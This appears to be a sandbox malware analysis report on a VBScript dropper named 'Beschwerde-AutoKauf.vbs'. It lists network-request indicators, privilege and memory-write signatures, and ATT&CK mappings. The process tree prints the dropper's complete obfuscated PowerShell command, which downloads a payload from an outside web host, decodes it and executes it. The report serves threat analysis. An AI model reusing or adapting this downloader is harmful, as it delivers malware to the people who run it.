7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db

Analysis

max time kernel
148s
max time network
150s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
30/11/2024, 19:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Beschwerde-AutoKauf.vbs
Size

67KB
MD5

4446681fce0cae163942eb162fd4ee76
SHA1

9c235cf72cebbbb0c5bd480add8f1c2db437b793
SHA256

7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db
SHA512

59dbcf1a8255e51f29825856cbeef269cf0584350570bb073dd5988a0ab2bbc6a8a13628405d30e7056b722b64be2e06e86ac576c0d1609dd524f0e1d95afb5f
SSDEEP

1536:TX7JwDwA6PgDQSjdOWZOVKgHrf6ZufkDt159fW7ajc:TXPIciZ+Korf6ZC2tdfW7ic

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	1216	powershell.exe
6	1216	powershell.exe
7	1216	powershell.exe
8	1216	powershell.exe
9	1216	powershell.exe
10	1216	powershell.exe
11	1216	powershell.exe
12	1216	powershell.exe
13	1216	powershell.exe
14	1216	powershell.exe
15	1216	powershell.exe
16	1216	powershell.exe
17	1216	powershell.exe
18	1216	powershell.exe
19	1216	powershell.exe
20	1216	powershell.exe
21	1216	powershell.exe
22	1216	powershell.exe
23	1216	powershell.exe
24	1216	powershell.exe
25	1216	powershell.exe
26	1216	powershell.exe
27	1216	powershell.exe
28	1216	powershell.exe
29	1216	powershell.exe
30	1216	powershell.exe
31	1216	powershell.exe
32	1216	powershell.exe
33	1216	powershell.exe
34	1216	powershell.exe
35	1216	powershell.exe
36	1216	powershell.exe
37	1216	powershell.exe
38	1216	powershell.exe
39	1216	powershell.exe
40	1216	powershell.exe
41	1216	powershell.exe
42	1216	powershell.exe
43	1216	powershell.exe
44	1216	powershell.exe
45	1216	powershell.exe
46	1216	powershell.exe
47	1216	powershell.exe
48	1216	powershell.exe
49	1216	powershell.exe
50	1216	powershell.exe
51	1216	powershell.exe
52	1216	powershell.exe
53	1216	powershell.exe
54	1216	powershell.exe
55	1216	powershell.exe
56	1216	powershell.exe
57	1216	powershell.exe
58	1216	powershell.exe
59	1216	powershell.exe
60	1216	powershell.exe
61	1216	powershell.exe
62	1216	powershell.exe
63	1216	powershell.exe
64	1216	powershell.exe
65	1216	powershell.exe
66	1216	powershell.exe
67	1216	powershell.exe
68	1216	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1216	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1216	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 1216	2584	WScript.exe	30
PID 2584 wrote to memory of 1216	2584	WScript.exe	30
PID 2584 wrote to memory of 1216	2584	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Beschwerde-AutoKauf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$eroticizing='Federarie';;$Slambehandlingsanlggets='Shadowishly';;$Udfolder='Briarwood';;$Jkel='Backingbandet';;$Gangarealerne138='Karakteristikkernes';;$Dokumenttype=$host.Name;function Hjemmemarkedernes($Rodfstede){If ($Dokumenttype) {$Afhjulpne=2} for ($Fabrikationens=$Afhjulpne;;$Fabrikationens+=3){if(!$Rodfstede[$Fabrikationens]) { break }$Puncheon+=$Rodfstede[$Fabrikationens]}$Puncheon}function auspiciums($ouananiche){ .($Recirculated) ($ouananiche)}$Cockneyfying=Hjemmemarkedernes ' n .EPiT .UnwTiE eBEpc,eLUsIHaeH nR T';$Noncandescent=Hjemmemarkedernes 'AaMlno AzT,iInl ,l a,e/';$Thoracostenosis=Hjemmemarkedernes 'S.T OlA,sTh1We2';$Kartonets247='Jo[ SNAnE oTB . ,S,nES.RA v ,I RCSte ,pslO riKnN.iTMambaaHan ,AE GSmEStr ] l:G :D S DEV.CTeuCerBiIFotDuY EP rR.aOMiT iOm csuoTel r= L$CotArHVgOXeRDiaTacAcoUnSP tEpEUnNS OP,sV iHes';$Noncandescent+=Hjemmemarkedernes 'No5 e.f 0St R(G WeriScn.odAuoRewTos K RgNAdTSl Sr1Oa0,e.Cr0Un;Go EpW eiKun,r6 D4Ty;Re ax o6Fi4 a; HrOxvAf: V1 r3Si1 H.De0Da) l .GTveGacStkOvoSt/Ma2Be0Re1Co0I.0 O1de0in1Ho ChF HiBhrGeeSkfIdo rxUn/Re1m,3Ib1lu. i0';$Engangsafgift=Hjemmemarkedernes '.aU.iS oeCrr l-PyADigUne NS.t';$Ammunitionsfabrikkens=Hjemmemarkedernes ' Th tCot Fp.tsdv:Sp/Pa/ wUtw.nwO .AdlExeMebInePen es.erEkaFreOluIam MeUd-KogStgHamS bUnhAk.Ind Se / StCoep mThpAnlSdaT tO.eSt/Hei.on ecRu_LycAfsJesSt/Fys op seMec ,iPlfLeiU.cMa/ReKslv uiUmdcorMoeG da.eP sMo. BpR c nz';$moistureproof=Hjemmemarkedernes ' B>';$Recirculated=Hjemmemarkedernes 'viiSkEKeX';$Anionics='Resbolig';$Arcuation='\raadede.Erg';auspiciums (Hjemmemarkedernes 'Un$M,g Ul mO.tbBiAJaL :GhlQyYU,OEfnUneAbtBlIFyaEo=Bo$UnE,vnAavSi: OAtiPSuPunD ta pTTrA A+bl$S aUnrSec,auGraStt CIFooAfn');auspiciums (Hjemmemarkedernes ' .$Sig rl,rOInBL a rlFo:BaR iiSanStN eI dEbe=Vi$ BA .m mAmUL n ,iItTG IMaoSpNSpS eFNoaEnbmerUfi kR KVaePrn TSBa.EnsMaP SLM IAnTTi(Wr$BiMpaoTaIMos rtBuUq REpEDyp mrS OTro dFLi)');auspiciums (Hjemmemarkedernes $Kartonets247);$Ammunitionsfabrikkens=$Rinnie[0];$Chaffer=(Hjemmemarkedernes 'gu$ovGBulMaOMiBIsaKrlMa: Tb Ko,urGaTSySAnk MAD F aF SE alFosS,e KSK mcoENots o OdSieKoR mnMoEAd= BnPrEY.WSt- COSuBSkjOvEDuCUntF HjSCoYK S QTNeEF MS .S $ fc .OL c Hk ,n Ce rY RfSuyB i eN og');auspiciums ($Chaffer);auspiciums (Hjemmemarkedernes 'h $,sBVioSerSttA s.ukB aTufPrf PeFrlNasAneTes dm jeGatUnoEgdBue r Kn ,e N.BeHZ,ehaaB dwieUdrPhsko[I $ ERennegPoaPanU.g,rs,eaWifGagS.iG fRntUd] a=p $ N.oo,anYac raR.nRedS e.tsMac LeFon .t');$Internes=Hjemmemarkedernes 'se$E BAfoPlrRat sNok aCefKofSce Sl.lsNoeAnsTem.ae,ntFaoRodSpeAnrO.nUnet .,mDMooSlwA.n lStoGaaOrd OFIni elAdeAt( n$CaAS mGom vuPsnT,iOrt SiP o OnL.sInfE a Fbpir.yiMak tkM eminGls a,Rh$MyO.ykInsT.e ojReeBa)';$Okseje=$Lyonetia;auspiciums (Hjemmemarkedernes '.a$Kog.eL oo ABBeAF,lUn: EU,tN kAFrdXeDVaUVecCoe.ga,sB,olAfe ,=,y(PaTK ETesLeTSt-PrpMeaUnT CH B Sl$ o UK esFrEP JUnEFn)');while (!$Unadduceable) {auspiciums (Hjemmemarkedernes ' $HegMilV oAdbA a DlD :KoSf t a da MlBrt,raSkn NkKde = A$PrMJ.e nd,t KaT,3M 8') ;auspiciums $Internes;auspiciums (Hjemmemarkedernes ' GsBltInaHeRBlTPa-S.sOlLnoEK EOxP S Qu4');auspiciums (Hjemmemarkedernes ' $ gKaLReo ,BriAbrl a:JuuUdN DAStDC dIrUVecSuEElaPabSalKaeF,=La( Otb e aSFoT -OmPN aSaTGlh b T$AfoUrk SVaE ,JT e M)') ;auspiciums (Hjemmemarkedernes 'Ch$FlGS,L ,oApBPraTrL o:NyR neUnsW usaBCosTit CADinFrt IbaA.lTBlI tnR g =Un$PuG.kL sOStbFiaCoL,i: UA GSMiHOsL ER s,as s+De+A %Un$PeRtoI onBonObi rEFo.RucSeoBluCoNPaT') ;$Ammunitionsfabrikkens=$Rinnie[$Resubstantiating]}$Catfacing=330712;$Phoning197=28597;auspiciums (Hjemmemarkedernes 'To$SmGjeL CoOvbUna uL A: GOH vlaED R,hc aH,P.nI etR A oL ,IMozMae = O CgCyeS tBa-O.cVaOFoNS.tTrE.uNSiT,r u$Pho TKGus,nE OjP e');auspiciums (Hjemmemarkedernes 'Co$OrgEplFaoMebSvaMilaf:,oFBarAna fS.rFlsE e ,lBleFrnS ,e=Cy ,[ iSBrylnsC t,heDim . CP,ofonMevr.eRnrBrt ]D.:Ma: VF Br tor m rBIsa esBeeFi6 T4 BSAbt .r diO nR gS ( i$.eO vA e rSkcFoa tpGti DtSca Sl siOvzB eSn)');auspiciums (Hjemmemarkedernes ' e$AfGSaLRoO rb,raAml.e: Ap Ve ynE.tSeA esSct Fo ,mInuBomAg Li=Ou [EnS Y uSG.T leG MOp.AfTPse.uxErtCa. rEPeNT.CLaODoD .iUnNAng r] A: ,:p A iS ecPhiDaiO .v gSlEPrtP S VtK r IB.NDegMa(sc$ByF Tr eA ifMaROpS,oeK L pEAnNqu)');auspiciums (Hjemmemarkedernes ' i$GrG hL ounBMea slFc:Udh pU aR ST iIHjGPar dUsuTAvECer ,SU =un$U,P PeRuN ,tL aFesRhTH,OMiMSouA MEv.BrS.eU bHeSTet ,rcai.in BgUl( $Soc a TSufO.aLoCKeI ,NOrGLe, s$ Fp eHlaORenBai eNReGGr1 9M 7In)');auspiciums $Hurtigruters;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1216-4-0x000007FEF602E000-0x000007FEF602F000-memory.dmp

Filesize
4KB

Download
memory/1216-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/1216-8-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1216-7-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1216-9-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1216-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/1216-10-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1216-11-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1216-12-0x000007FEF602E000-0x000007FEF602F000-memory.dmp

Filesize
4KB

Download
memory/1216-13-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download